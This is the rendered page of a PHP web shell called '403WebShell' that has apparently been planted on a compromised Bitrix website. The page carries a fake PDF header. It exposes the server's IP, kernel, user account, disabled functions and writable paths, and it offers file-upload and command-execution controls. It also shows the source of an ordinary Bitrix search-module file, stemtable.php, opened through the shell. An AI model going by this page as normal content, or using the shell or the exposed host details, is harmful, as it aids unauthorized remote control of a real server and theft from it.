%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 52.14.80.90
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/search/tools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/search/tools/stemtable.php
<?
IncludeModuleLangFile(__FILE__);

class CSearchStemTable extends CSearchFullText
{
	public function connect($connectionIndex, $indexName = "")
	{
	}

	public function truncate()
	{
		$DB = CDatabase::GetModuleConnection('search');
		if (BX_SEARCH_VERSION > 1)
		{
			$DB->Query("TRUNCATE TABLE b_search_stem", false, "File: ".__FILE__."<br>Line: ".__LINE__);
			$DB->Query($s="TRUNCATE TABLE b_search_content_text", false, "File: ".__FILE__."<br>Line: ".__LINE__);
		}
		$DB->Query($s="TRUNCATE TABLE b_search_content_stem", false, "File: ".__FILE__."<br>Line: ".__LINE__);
	}

	public function deleteById($ID)
	{
		$DB = CDatabase::GetModuleConnection('search');
		if (BX_SEARCH_VERSION > 1)
		{
			$DB->Query("DELETE FROM b_search_content_text WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
		}
		$DB->Query($s="DELETE FROM b_search_content_stem WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
	}

	public function replace($ID, $arFields)
	{
		$DB = CDatabase::GetModuleConnection('search');

		if(array_key_exists("SEARCHABLE_CONTENT", $arFields))
		{
			if(BX_SEARCH_VERSION > 1)
			{
				$text_md5 = md5($arFields["SEARCHABLE_CONTENT"]);
				$rsText = $DB->Query("SELECT SEARCH_CONTENT_MD5 FROM b_search_content_text WHERE SEARCH_CONTENT_ID = ".$ID);
				$arText = $rsText->Fetch();
				if(!$arText || $arText["SEARCH_CONTENT_MD5"] !== $text_md5)
				{
					CSearch::CleanFreqCache($ID);
					$DB->Query("DELETE FROM b_search_content_stem WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
					if (COption::GetOptionString("search", "agent_stemming") === "Y")
						CSearchStemTable::DelayStemIndex($ID);
					else
						CSearch::StemIndex($arFields["SITE_ID"], $ID, $arFields["SEARCHABLE_CONTENT"]);
					$DB->Query("DELETE FROM b_search_content_text WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
					$arText = array(
						"ID" => 1,
						"SEARCH_CONTENT_ID" => $ID,
						"SEARCH_CONTENT_MD5" => $text_md5,
						"SEARCHABLE_CONTENT" => $arFields["SEARCHABLE_CONTENT"]
					);
					$DB->Add("b_search_content_text", $arText, Array("SEARCHABLE_CONTENT"));
				}
			}
			else
			{
				CSearch::CleanFreqCache($ID);
				$DB->Query("DELETE FROM b_search_content_stem WHERE SEARCH_CONTENT_ID = ".$ID, false, "File: ".__FILE__."<br>Line: ".__LINE__);
				if (COption::GetOptionString("search", "agent_stemming") === "Y")
					CSearchStemTable::DelayStemIndex($ID);
				else
					CSearch::StemIndex($arFields["SITE_ID"], $ID, $arFields["SEARCHABLE_CONTENT"]);
			}
		}
	}

	public static function DelayStemIndex($ID)
	{
		$DB = CDatabase::GetModuleConnection('search');
		$ID = intval($ID);

		$DB->Query("
			delete from b_search_content_stem
			where SEARCH_CONTENT_ID = -$ID
		");
		$DB->Query("
			insert into b_search_content_stem
			(SEARCH_CONTENT_ID, LANGUAGE_ID, STEM, TF".(BX_SEARCH_VERSION > 1? ",PS": "").")
			values
			(-$ID, 'en', 0, 0".(BX_SEARCH_VERSION > 1? ",0": "").")
		");

		CSearchStemTable::_addAgent();
	}

	private static function _addAgent()
	{
		global $APPLICATION;

		static $bAgentAdded = false;
		if(!$bAgentAdded)
		{
			$bAgentAdded = true;
			$rsAgents = CAgent::GetList(array("ID"=>"DESC"), array("NAME" => "CSearchStemTable::DelayedStemIndex(%"));
			if(!$rsAgents->Fetch())
			{
				$res = CAgent::AddAgent(
					"CSearchStemTable::DelayedStemIndex();",
					"search", //module
					"N", //period
					1 //interval
				);

				if(!$res)
					$APPLICATION->ResetException();
			}
		}
	}

	public static function DelayedStemIndex()
	{
		$DB = CDatabase::GetModuleConnection('search');
		$etime = time() + intval(COption::GetOptionString("search", "agent_duration"));
		do {
			$stemQueue = $DB->Query($DB->TopSql("
				SELECT SEARCH_CONTENT_ID ID
				FROM b_search_content_stem
				WHERE SEARCH_CONTENT_ID < 0
			", 1));
			if($stemTask = $stemQueue->Fetch())
			{
				$ID = -$stemTask["ID"];

				$sites = array();
				$rsSite = $DB->Query("
					SELECT SITE_ID, URL
					FROM b_search_content_site
					WHERE SEARCH_CONTENT_ID = ".$ID."
				");
				while($arSite = $rsSite->Fetch())
					$sites[$arSite["SITE_ID"]] = $arSite["URL"];

				if(BX_SEARCH_VERSION > 1)
					$sql = "SELECT SEARCHABLE_CONTENT from b_search_content_text WHERE SEARCH_CONTENT_ID = $ID";
				else
					$sql = "SELECT SEARCHABLE_CONTENT from b_search_content WHERE ID = $ID";
				$rsContent = $DB->Query($sql);
				if ($arContent = $rsContent->Fetch())
				{
					$DB->Query("DELETE FROM b_search_content_stem WHERE SEARCH_CONTENT_ID = ".$ID);
					CSearch::StemIndex($sites, $ID, $arContent["SEARCHABLE_CONTENT"]);
				}
				$DB->Query("DELETE FROM b_search_content_stem WHERE SEARCH_CONTENT_ID = ".$stemTask["ID"]);
			}
			else
			{
				//Cancel the agent
				return "";
			}

		} while ($etime >= time());
		return "CSearchStemTable::DelayedStemIndex();";
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit